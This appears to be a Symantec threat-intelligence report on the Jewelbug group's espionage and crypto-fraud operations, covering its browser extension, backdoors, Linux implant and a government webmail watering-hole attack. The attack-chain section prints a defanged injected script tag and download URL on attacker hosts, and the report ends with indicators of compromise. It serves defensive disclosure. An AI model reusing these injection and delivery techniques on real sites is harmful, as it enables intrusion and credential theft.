

Jewelbug: APT Group Runs Espionage and Crypto Fraud Operations Side by Side

By About the Author

Archived: 2026-08-18 02:00:15 UTC

Key findings

- Jewelbug is a China-based hackers-for-hire group that runs parallel operations: espionage against governments and militaries across the Middle East, Southeast Asia and South Asia, and a for-profit cryptocurrency fraud business.
- Both missions are administered from a single control panel, XG-Web, a browser-centric remote-access and information-stealing framework that turns a victim's browser into a full remote-control channel and reaches from there into the host and the internal network behind it.
- At least one of the operators is tied to a registered Hunan company, and we have identified the sole legal representative by name from government-issued identity documents belonging to the operators.
- Jewelbug's main implant is the Antino backdoor. It also operates a malicious Chrome and Firefox extension posing as an application called "PDF Viewer", paired with a helper disguised as a Microsoft Edge component that gave operators a command shell on the host.
- In its largest operation, a single planted script placed a watering-hole on more than 15 government webmail tenants in a Middle Eastern country at once.
- Jewelbug's victim database recorded more than one million implant check-ins and more than 580,000 stolen browser cookies in less than three months of active operations. One set of implants was configured to utilize the internal proxy of a major U.S. aerospace and industrial manufacturer.

Overview

A months-long investigation by the Symantec Threat Hunter Team has produced unprecedented visibility into the activities of Jewelbug (aka Earth Alux, REF7707, CL-STA-0049), a China-based APT group that has been breaking into government ministries across Asia and the Middle East while quietly running a cryptocurrency fraud business on the side. The two are not separate ventures that happen to share a name: our investigation revealed they are run by the same small team, on shared infrastructure, from one control panel.

Jewelbug's commercial arm is tied to a known registered company in Hunan Province, China. The group has developed five generations of command-and-control (C&C) code and a family of implants spanning browsers, Windows endpoints, Linux servers and network devices, all of it feeding a single database of victims. That toolset serves two missions: espionage attacks against foreign governments and militaries, and for-profit crypto fraud aimed at Chinese-speaking victims.

Targeting

The clearest statement of intent is the group's own campaign list, because each entry is a campaign the operators created and named themselves. On the espionage side, campaigns targeted government organizations across the Middle East and Southeast Asia. Other lists targeted more than 90 police and government email addresses in South Asia.

The group's separate Linux and router implant enables it to extend its reach into network infrastructure, with a couple of builds configured to beacon through the internal corporate proxy of a major U.S. aerospace and industrial manufacturer.

A parallel, financially motivated operation targeted Chinese-speaking cryptocurrency users through fake exchange-download portals. Decoy documents styled after Taiwanese government bodies suggest its interest also extended to Taiwan. The common thread across espionage targets is government communications and the providers that host them, which would give an intelligence customer broad, durable access to official correspondence.

 Jewelbug: APT Group Runs Espionage and Crypto Fraud Operations Side by Side

Tooling and tradecraft

At the core of the operation is XG-Web, a browser-centric remote-access and information-stealing platform built as a React panel over a Node.js backend, and a MySQL database that doubles as the rendezvous point for victim implants. The developers describe XG-Web in their own documentation as a “penetration-testing platform,” a description its actual use contradicts. Internal terms for its functions include “browser hijacking,” “data theft” and “man-in-the-middle attack.”

A scheduled job checked the group's own C&C domains against VirusTotal every 12 hours so operators could rotate away from anything that had been flagged.

 Figure 1. The XG-Web operator panel (self-described as “Xiang Ge — Security Testing Platform”), showing the campaign history list with government targets (redacted) and a live C&C payload URL.

Figure 1. The XG-Web operator panel (self-described as “Xiang Ge — Security Testing Platform”), showing the campaign history list with government targets (redacted) and a live C&C payload URL.

The “PDF Viewer” extension and its native shell

The group's primary implant was a malicious browser extension named “PDF Viewer”, which was built to run in both Chrome and Firefox. Masquerading as a document reader, it requested effectively every dangerous permission the browser exposes: cookies, scripting, debugger access, web request interception, download monitoring, and native messaging across all sites. A background service worker acted as a full remote bridge into the browser API. An operator could invoke any Chrome or Firefox function on the victim's behalf by name, inject and execute arbitrary JavaScript on any page, and interact with the browser as if sitting at the keyboard.

The extension harvested credentials by hooking login forms, exfiltrated the victim's full cookie jar, subscribed to live cookie-change events to steal new session tokens in near real time, and captured history, bookmarks,

screenshots, the clipboard and intercepted traffic. A clipboard module capable of silently swapping a copied cryptocurrency address for the attacker's own is built into the codebase. The module has been active on victims, but no address-replacement rules were deployed, meaning the swapping feature was not used during the observed campaign period. To escape the browser sandbox, the extension talked to a Windows helper registered as a native-messaging host under the misleading name com.microsoft.runedge, which ran operator commands through the Windows command interpreter and returned the output to the panel.

The Antino backdoor

Antino is the group's Windows backdoor and the payload behind a wave of malicious HTML Application (HTA) downloaders, themed on current geopolitical events, that prompted this investigation. It is also delivered as a fake Adobe Flash or Adobe installer (file names such as flashcenter_pp_ax_install_en.exe and Adobeinstall.exe) downloaded from group-controlled domains.

Once running, Antino uses the Microsoft Graph API as its C&C channel, hiding its traffic inside legitimate Microsoft cloud services. It is a shared tool used across the group's campaigns, recovered from infected hosts in the Middle East and submitted to public scanners from victims in the Middle East and South Asia, and it is the on-host backdoor that the fake-update lure seen in *Figure 2* ultimately installs on the endpoint. The lure in *Figure 2* is attempting to impersonate an invitation to an event run by the [Center for Strategic and International Studies](#), a Washington-based think tank working across the areas of defense and security, geopolitics and foreign policy, economic security and technology, and global development. This lure serves to illustrate the types of areas and sort of people Jewelbug may be hoping to compromise.

 Figure 2. A lure document impersonating the CSIS Indo-Pacific Forecast 2026 event page, used as a decoy in Antino HTA downloaders.

Figure 2. A lure document impersonating the CSIS Indo-Pacific Forecast 2026 event page, used as a decoy in Antino HTA downloaders.

ClientKing, a Linux and router implant

Alongside the browser framework, the group operates 37 builds of a Rust implant the developers call ClientKing, which reached servers and network devices rather than browsers. It supported five C&C transports, including a custom domain-name-system (DNS) tunnel, and offered a full interactive shell, SOCKS pivoting and the ability to load kernel modules directly from memory. A companion toolkit added a kernel-module rootkit and a malicious authentication module hooked into the secure shell su and sudo to steal credentials. Builds spanned x86-64 servers, ARM64 devices and ASUS consumer routers. The most recent were stamped with the internal corporate proxy of a major U.S. aerospace and industrial manufacturer. ClientKing's C&C server was also hosted on the same network range as the XG-Web server.

Command-and-control through Google Docs

For delivery, the framework served a freshly obfuscated payload on every request. This was XOR encoded with a random key so no two downloads were identical, and the group disguised its C&C hostnames as typosquats of common resources such as Google Fonts. When an operator activated a campaign, the backend created a public Google Document, wrote an obfuscated payload into the body, and had implants fetch the documents and execute

the payloads, which resolve to Google-owned infrastructure unlikely to be blocked by reputation filtering. Thirteen such documents were live and mapped to active campaigns.

Targeting on a large scale

The scale of the operation is vast. Jewelbug's victim database holds more than one million implant check-in rows, more than 580,000 stolen browser cookies, several thousand captured credentials, and more than 2,300 exfiltrated email bodies. Request logs showed operators using a browser foothold to reach internal infrastructure, including authenticated traffic to a virtualization-management cluster inside a Middle Eastern government network. Runtime server logs recorded roughly 1.1 million geolocation events against approximately 4,300 distinct source IP addresses: approximately 87,200 connections from a Southeast Asian country (targeting state telecom and military networks), approximately 53,100 from a Middle Eastern country (across the national carrier's ranges, including Starlink-connected addresses in the capital), and approximately 15,000 from a second Southeast Asian country (including government ministry infrastructure).

A parallel crypto-fraud business

The financial side of the operation is run as a registered Chinese company advertising a commercial "search-ranking rental" service on Telegram. The infrastructure was a search-engine-optimization (SEO) poisoning pipeline: an artificial-intelligence article generator that produced thousands of fake exchange-download pages, a fleet of more than 40 content-management servers, and click-fraud bots that drove search engines to rank those pages. The operators registered hundreds of look-alike domains impersonating the OKX and Binance exchanges and cloaked the pages so that crawlers saw phishing content while ordinary visitors were redirected.

Operator tradecraft

The operators work from inside China. Their virtual private network (VPN) routing profile is configured to bypass mainland-Chinese destinations while tunnelling everything else, the behavior of a user circumventing domestic filtering rather than concealing a foreign origin, and their working pattern is concentrated in the afternoons and late evenings of the UTC+8 time zone. Operational discipline is uneven: the group repeatedly tests its own stealer against its own browsers, runs the panel front end in development mode on a live production server, and reuses a single credential set across the panel and its commercial server fleet.

Attack chain example: watering-hole compromise of a Middle Eastern government webmail system

Jewelbug's largest espionage operation was a wide-ranging compromise of a Middle Eastern government. The operation is representative of how its campaigns proceeded.

Rather than breach each ministry separately, Jewelbug compromised the shared web-hosting platform run by the state telecommunications provider and national network-services agency, obtaining write access to the common webmail installation, and added a single script tag. Every government tenant on that platform had a watering-hole planted on it at once. A single campaign spanned more than 15 government webmail tenants, with the hook firing on the login page and every mailbox view, indicating it sat in the shared template rather than being delivered per

user. The group also hooked the hosting provider's own administrators to harvest the credentials that granted that write access. The injected tag was disguised as an ordinary site asset:

```
<script src="hxxps://fonts.chrorne[.]com/dist/js/12.qgfvjzvs.chunk.js"></script>
```

When a ministry staff member logged in, the script opened a WebSocket to the C&C, completed the cryptographic handshake and reported in. A cookie module exfiltrated the page's cookies, and a labelling module read the username from the webmail interface and tagged the new victim with their government email address. The operators then pushed a “flash” lure module, which confirmed the address ended in one of nine targeted government domains, that the account was not already compromised, and that the host was running Windows, before overlaying a fake Adobe Flash update prompt. When the victim clicked to update, the browser downloaded the second-stage executable from a group-controlled domain:

```
hxxps://microsoft-flash[.]com/download/Adobeinstall.exe
```

The downloaded executable was the group's Antino backdoor, a fake Adobe Flash or Adobe installer that beacons to the Microsoft Graph API for C&C. It also sideloaded the “PDF Viewer” extension into the victim's browser profile, dropped the native-messaging helper, and wrote the registry value that enabled it:

```
HKCU\SOFTWARE\Google\Chrome\NativeMessagingHosts\com.microsoft.runedge
```

On the next launch, the extension connected to the C&C with the full browser API bridge available, giving operators unrestricted access to the browser and, through native messaging, the host. For at least one victim, it captured authenticated traffic to an internal virtualization-management interface, showing operators were actively reaching internal infrastructure:

```
hxxps://192.168.x.x:8006/api2/json/cluster/resources
```



Jewelbug: APT Group Runs Espionage and Crypto Fraud Operations Side by Side

Attribution

On the panel, the operators worked under the usernames “admin” and “admin_s”, the latter chose the display nickname “ople500”, and the exploit-module library was signed “Xg Team.” We assess with high confidence that the cryptocurrency fraud and SEO arm of the operation is run by a named individual, the sole legal representative of a Changsha company that openly describes itself as an SEO business. The attribution rests on government-issued identity documents, a company business license, and a signed and stamped authorization letter belonging to the operators.

Across the operation he used the handle “paopaodada” (Bubble Boss), advertised on Telegram as the contact for a “website ranking rental” service and reused as the admin login across his fleet of content-management servers. The precise relationship between this individual and the operators running the espionage campaigns is not fully established; the two activities shared the same infrastructure, overlapping techniques and one control panel. We assess it most likely that the SEO business supplied access, infrastructure and delivery to the espionage operation rather than that one person was performing both roles.

Significance

What makes Jewelbug notable is the combination of two missions in one set of hands. Foreign government and foreign military espionage was run from the same infrastructure, by the same team, as a commodity cryptocurrency fraud business. That pairing is the signature of a hack-for-hire entity that is running for-profit crime on the side.

The exposure also shows the difference between targeting and compromise. Its database did not merely list intended victims: it recorded more than one million implant check-ins, hundreds of thousands of stolen cookies, and intercepted internal network traffic and the harvested mailboxes of senior government officials. Compromising a shared hosting provider and placing a watering-hole on every government tenant on it in one move turned a single intrusion into access across an entire national webmail estate.

Protection

For the latest protection updates, please visit the [Symantec Protection Bulletin](#).

If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.

Further Reading

Read more about Jewelbug and its activity in our accompanying whitepaper on this topic: [The Jewelbug Dossier](#).



The Jewelbug Dossier

Indicators of Compromise

File indicators

e6ff096a0562c0042b09d250bd60272ffcd8d72bd95c563842acf765a8dc8bcf -- HTA lure document

01b5c6acb20e41799a0e96d9d1d6e1c44791883706b6285e874fcb15cc93b31a -- HTA downloader
(Russia/Venezuela/Ukraine lure)

e809da86bd81463347fa7f922d3e088755a94a331889d32acb55aa8f57778a34 -- HTA lure document

f1ef5fe4c0cdcff13cc750c867728b89719f81437bdc49041edd1ae1f3edb4e8 -- TEST.hta

e2eb7703047b37b28dc34e6990205d758a2454b39bc655b460606745fadcb530 -- slc.dll

e7e3b0bcd6798634adf8b49d305f3a7b7682e4b76db549682a183c5a186df4bb -- Vb0c44dfslc.dll.wxb

09ef7c736bccfafefc44d9910d499173b88063b73b221fc0dc9e9105107e5cff -- Antino backdoor

c11714f9fe2df1ca906585c81498cd77f5ec05b132aab73fa3a71d71d71e42cc -- Antino backdoor

b90a4e770869c28fd2140acb3ebdc50c113bb6f096b4bbdb9ac87c349c70e85e -- flashcenter_pp_ax_install_en.exe

0c39264337a1186b2e765e24073399cbdcba118306614eb411e315887af578bd -- Antino sample connecting to Microsoft Graph API, from microsoft-flash[.]com

9b7df409c9a89f7536d3ba7b6d43fb6dbac618c8bb52615ba34cc971ad71bbf3 -- Adobe_installer (1).exe

153d077bcb58e00f5746573cba25f6b0788b809bf7b2a52fca0dc22d3bb5c94e -- Antino-related sample observed on infected Middle Eastern host

297413a3e49e7353bf484a3eb15ec647de729211059df8fc68678d2378b6f561 -- Antino-related sample observed on infected Middle Eastern host

30f5122cc199b9c2e524503b343a9ee13a6f9773dcbc1df82c8b25ad20bca61d -- Antino-related sample observed on infected Middle Eastern host

430f12970f8d58f12edccee9019a1aa90fa232c961449bdcc69c8d348a52cf55 -- Antino-related sample observed on infected Middle Eastern host

5ccdf53881f6c758af8d94fe67066af209b4bc0a3cb80b6a4c724fad86eb97ef -- Antino-related sample observed on infected Middle Eastern host

5edb8d1023b8babf302871b68fa2b26d5ca57633f64951922998e8f1d6c8f7ac -- Antino-related sample observed on infected Middle Eastern host

6d5fe6b6a34eeb470798b970b70f41a07ccf59b22f49ad9b3dfff7aa3256f3c2 -- Antino-related sample observed on infected Middle Eastern host

97c3a6be1711c5340d8806e4a54f7297f3f763d0aa4240b667f1e4e1f98f2aad -- Antino-related sample observed on infected Middle Eastern host

ac3d453d3c9b0310ebb8a67cef35e2ac954d4acdf70cf497fe43a02c7a510813 -- Antino-related sample observed on infected Middle Eastern host

e782a6d4919f194d41e524ebd6df5894197043cf772fcf60455127b246f302c0 -- Antino-related sample observed on infected Middle Eastern host

ea893abf20b00d9bfc042a88bf7b4bd42e68ce07c116d3e3b002e5b4a853877 -- Antino-related sample observed on infected Middle Eastern host

ed96e7f1085a50251eb8967ac53777272a617831084f0edad8a769c583a18869 -- Antino-related sample observed on infected Middle Eastern host

Network indicators

fonts[.]tarotfree101[.]top

fonts[.]chrone[.]com

robot[.]avbliud[.]com

microsoft-flash[.]com

www[.]wps-cn[.]com

www[.]f1ash[.]org[.]cn

browser-update[.]pages[.]dev

eastus2[.]wac-azure[.]com

mailbycloud[.]com

www[.]jkskhei[.]com

ns1[.]jkskhei[.]com

dns[.]wizkidblogger[.]com

r6fi2yvqq[.]execute-api[.]ap-southeast-2[.]amazonaws[.]com

103[.]87[.]9[.]62

152[.]42[.]174[.]151

43[.]246[.]208[.]236

43[.]246[.]208[.]179

47[.]84[.]37[.]113

47[.]84[.]51[.]173

167[.]71[.]195[.]255

38[.]12[.]1[.]47

129[.]212[.]237[.]224

47[.]87[.]71[.]167

47[.]250[.]208[.]35

219[.]76[.]254[.]184

hxxp://d2nq35tel3ucuo[.]cloudfront[.]net/LtVGUSsyUTDA.log

hxxps://pub-abfa7742e315485a98a5fafd6dbfb68e[.]r2[.]dev/hjgzBskgslc.dll.iwq

hxxps://microsoft-flash[.]com/download/flashcenter_pp_ax_install_en.exe

hxxps://www[.]f1ash[.]org[.]cn/flashcenter_pp_ax_install_cn.exe

Source: <https://www.security.com/threat-intelligence/jewelbug-crypto-fraud-espionage>